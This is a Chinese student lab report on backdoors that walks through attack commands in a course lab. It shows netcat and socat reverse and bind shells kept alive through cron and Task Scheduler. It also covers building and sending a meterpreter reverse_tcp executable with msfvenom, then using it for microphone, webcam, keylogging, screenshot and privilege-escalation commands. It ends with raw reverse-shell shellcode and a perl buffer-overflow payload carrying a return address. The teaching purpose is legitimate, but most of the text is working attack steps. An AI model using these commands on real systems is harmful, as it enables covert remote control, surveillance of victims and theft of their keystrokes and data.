《网络对抗技术》——Exp2 后门原理与实践
一、实验准备
1、实验要求
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2、后门
- 后门就是不经过正常认证流程而访问系统的通道。
- 哪里有后门呢?
- 编译器留后门
- 操作系统留后门
- 最常见的当然还是应用程序中留后门
- 潜伏于操作系统中或伪装为特定应用的专用后门程序
- 后门程序一般是指那些绕过安全性控制而获取对程序或系统访问权的程序方法。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。但是,如果这些后门被其他人知道,或是在发布软件之前没有删除后门程序,那么它就成了安全风险,容易被黑客当成漏洞进行攻击。
- 后门 vs 木马
- 联系在于:都是隐藏在用户系统中向外发送信息,而且本身具有一定权限,以便远程机器对本机的控制。
- 区别在于:木马是一个完整的软件,而后门则体积较小且功能都很单一。后门程序类似于特洛伊木马(简称"木马"),其用途在于潜伏在电脑中,从事搜集信息或便于黑客进入的动作。
3、常用的后门工具
1. ncat
- ncat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
- Windows: 课程主页附件中下载ncat.rar解压即可使用。
- Mac: 系统自带,"man nc",查看其使用说明。
Windows获取kali的shell
- 在Windows中查看本机IP地址为 192.168.0.107
(此处因为做的比较早,使用的是docker中的pwndocker虚拟机)
PS:(后续因为时间零散,和网络配置问题,导致WSL2和kali主机切换,但都有用户标识)
kali获得Windows的shell
-
kali中查看本机ip地址为 192.168.0.150
主机ip: 192.168.0.188
-
kali中开启监听 nc -l -p 1313
-
Windows中反弹链接kali ncat.exe -e cmd.exe 172.16.210.14 1313
-
kali成功获得了Windows的shell
这部分主要遇到的问题是:
-
如果出现了TTL过期的问题,大概率是因为internet选项不是动态的,而是固定的,产生了IP冲突,修改成动态的即可
-
如果发现ping不通主机,但主机可以ping通虚拟机,那么就关闭主机防火墙,即可ping通
火绒会杀死控制主机的进程,所以也要记得关闭
kali向Windows中传输文件
- Windows中通过 ncat.exe -l 1313 > file.out 监听1313端口,将收到的内容存储在 file.out 中
- kali反弹链接Windows的1313端口 nc 172.30.6.46 1313 < file.in
- 通过 type file.out 在Windows中查看接收到的内容
- 通过 cat file.in 在kali中查看发送的内容
Windows向kali中传输文件
- kali中通过 nc -l -p 1313 > 20201317.txt 监听1313端口
- Windows反弹连接linux的1313端口 ncat.exe 172.22.68.213 1313 < 1313.txt , linux可以收到Windows发来的文件
很神奇的一点是,虽然显示没有这个文件,但是还是成功实现。
使用nc相互传输通信
- Windows下监听
1313
端口 ncat.exe -l 1313 - kali反弹连接到Windows的1313端口 nc 172.30.6.46 1313
- 建立连接后,开始传输数据
2. socat
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。
socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。
Socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。多个选项可用于调整socat和其渠道,Socat可以作为TCP中继(一次性或守护进程),作为一个守护进程基于socksifier,作为一个shell Unix套接字接口,作为IP6的继电器,或面向TCP的程序重定向到一个串行线。
socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe, exec, system, open, proxy, openssl, socket等。
3.Meterpreter
- 后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
- 基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
- 典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
- 指令参数说明
- -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
- -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
- -e 使用的编码器,用于对shellcode变形,为了免杀。
- -i 编码器的迭代次数。如上即使用该编码器编码5次。
- -b badchar是payload中需要去除的字符。
- LHOST 是反弹回连的IP
- LPORT 是回连的端口
- -f 生成文件的类型 > 输出到哪个文件
二、实验内容
1. 使用netcat获取主机操作Shell,cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
- Windows下监听1313端口 ncat.exe -l -p 12133 。
- kali中,通过 crontab -e 指令便捷定时任务, -e 表示编辑。第一次编辑时选择3。
- 在打开的文件最后一行添加 30* * * * /bin/netcat IP 12133 -e /bin/sh ,为了能迅速看到效果,将时间设置为了30分(从左至右参数一次为:分,小时,日,月,年),意思是在每个小时的第30分钟反向连接Windows主机的
1313
端口。
2. 使用socat获取主机操作Shell, 任务计划启动
socat是ncat的增强版,它使用的格式是 socat [options]
,其中address是必选项,而options是可选项。 socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
- 在Windows中下载socat
- 此电脑点击右键选择管理,打开“计算机管理”
- 填写任务名称,并新建一个触发器
- 在操作->新建->程序或脚本中选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:12133 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口12133,同时把cmd.exe的stderr重定向到stdout上
此时,在Kali环境下输入指令socat - tcp:IP:12133
- 这里的第一个参数-代表标准的输入输出
- 第二个流连接到Windows主机的1313端口
- 此时可以发现已经成功获得了一个cmd shell
- (由于输入
dir
指令后内容过多,会覆盖获得shell成功的内容,因此没有输入)
3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在Kali上执行指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.30.1.170 LPORT=12133 -f exe > 20201317_backdoor.exe
-
- IP地址为控制端IP,即kali的IP:172.30.1.170
- 生成了后门程序:20201317_backdoor.exe
- 在windows上,通过ncat.exe -lv 12133> 20201317_backdoor.exe指令将被控制主机进入接受文件模式, -lv 看到当前的连接状态
- 在Linux中执行 nc 172.30.6.46 12133 < 20201317_backdoor.exe ,注意这里的IP为被控主机IP,即WindowsIP
传送接收文件成功,在相应的文件夹下可以查看``
在Kali上使用msfconsole指令进入msf控制台
- 输入use exploit/multi/handler使用监听模块,设置payload
- set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
- set LHOST 172.30.1.170 ,这里是kali的IP,和生成后门程序时指定的IP相同
- set LPORT 12133,同样要使用相同的端口
- show options,查看详细信息
-
设置完成后,执行监听exploit
-
在Windows下运行后门程序 20201317_backdoor.exe ,运行前应提前关闭杀毒软件的防护
4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用record_mic 指令可以截获一段音频,使用 -d 设置录制时间,这里我选择设置时长为10s, -d 10
- 使用 webcam_snap 指令可以使用摄像头进行拍照
- 使用 keyscan_start 指令开始记录下击键的过程(需要在Windows中进行任意输入),使用 keyscan_dump 指令读取击键的记录
- 使用 screenshot 指令可以进行截屏
- 使用 getuid 指令查看当前用户
- 使用 getsystem 指令进行提权操作
5. 加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
使用msf生成shellcode
- 在linux中和windows中生成有几点不同
- 有效载荷的不同:Windows中的有效载荷为 windows/meterpreter/reverse_tcp ,而linux中的有效载荷为 linux/x86/meterpreter/reverse_tcp
- 文件格式的不同:Windows中很显然为exe,而linux中为elf,可以通过 file filename 进行查看
- 权限的不同:linux中生成的后门程序必须要通过chmod +x 给程序赋予权限
- 在命令行输入命令,生成后门程序
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= 172.16.210.14 LPORT=12133 -x pwn2 -f elf > pwntest
- 注意上述是kali的IP
- 在另一个终端中启动mfs控制台(和实验三中过程相同),注意这时的playload应该为 linux/x86/meterpreter/reverse_tcp
- 在新的终端运行我们生成的pwntest
前期准备
生成shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.150 LPORT=12133 -f c
生成的shellcode代码为:
结合exp1中找到的pwn1的返回地址(我的是0xffffd0a0
),加在shellcode开头,再在上覆盖缓冲区的随意字符,首先在Kali上生成shellcode在Kali本地测试,用如下代码生成inputEXP2
,然后再按照之前的方法设置msf控制台
kali 192.168.0.150
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x00"
"\x96\x68\x02\x00\x2f\x65\x89\xe1\xb0\x66\x50\x51\x53\xb3"
"\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
perl -e 'print "A" x 32; print "\xa0\xd0\xff\xff\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x00\x96\x68\x02\x00\x2f\x65\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"' > input
我们先用peda看一下
发现准确抓住ret,栈区也没啥问题,估计这一次问题不大了
我们开始尝试打通
三、基础问题回答(1分)
(1)例举你能想到的一个后门进入到你系统中的可能方式?
点击网页链接,未知邮件,未知的U盘插入等待
(2)例举你知道的后门如何启动起来(win及linux)的方式?
修改linux的cron程序、注入shellcode、木马、网络协议捆绑、社会工程学。
(3)Meterpreter有哪些给你映像深刻的功能?
录音、录像、截图、键盘输入记录、提权等等,我之前做过这类实验,但没想到这么神奇
(4)如何发现自己有系统有没有被安装后门?
通过杀毒软件随时进行扫描,同时不断扫描自己有没有异常打开的端口、自启动项等等。
2.2.实验总结与体会(1分)
本次实验非常坎坷,尤其是最后一步的加分作业,其实也不难,就是在shellcode部分不知道为什么一直调不通
- 调试两天
- 换了7份博客
- 换了3个虚拟机,进行调试,发现都有问题
最后还是问了研究生学长(Pwnki),查了很多底层知识的资料,才最终解决
主要问题总结有:
- 每次一定要关闭地址随机化,打开可执行
- 利用gdb-peda,pewgdb调试起来会方便些
- 最后连接过程需要等上几秒,估计连接是session的问题
以下是一些调试过程记录
1
2
3
成功
核心在于返回地址
即 字符填充+返回地址+shellcode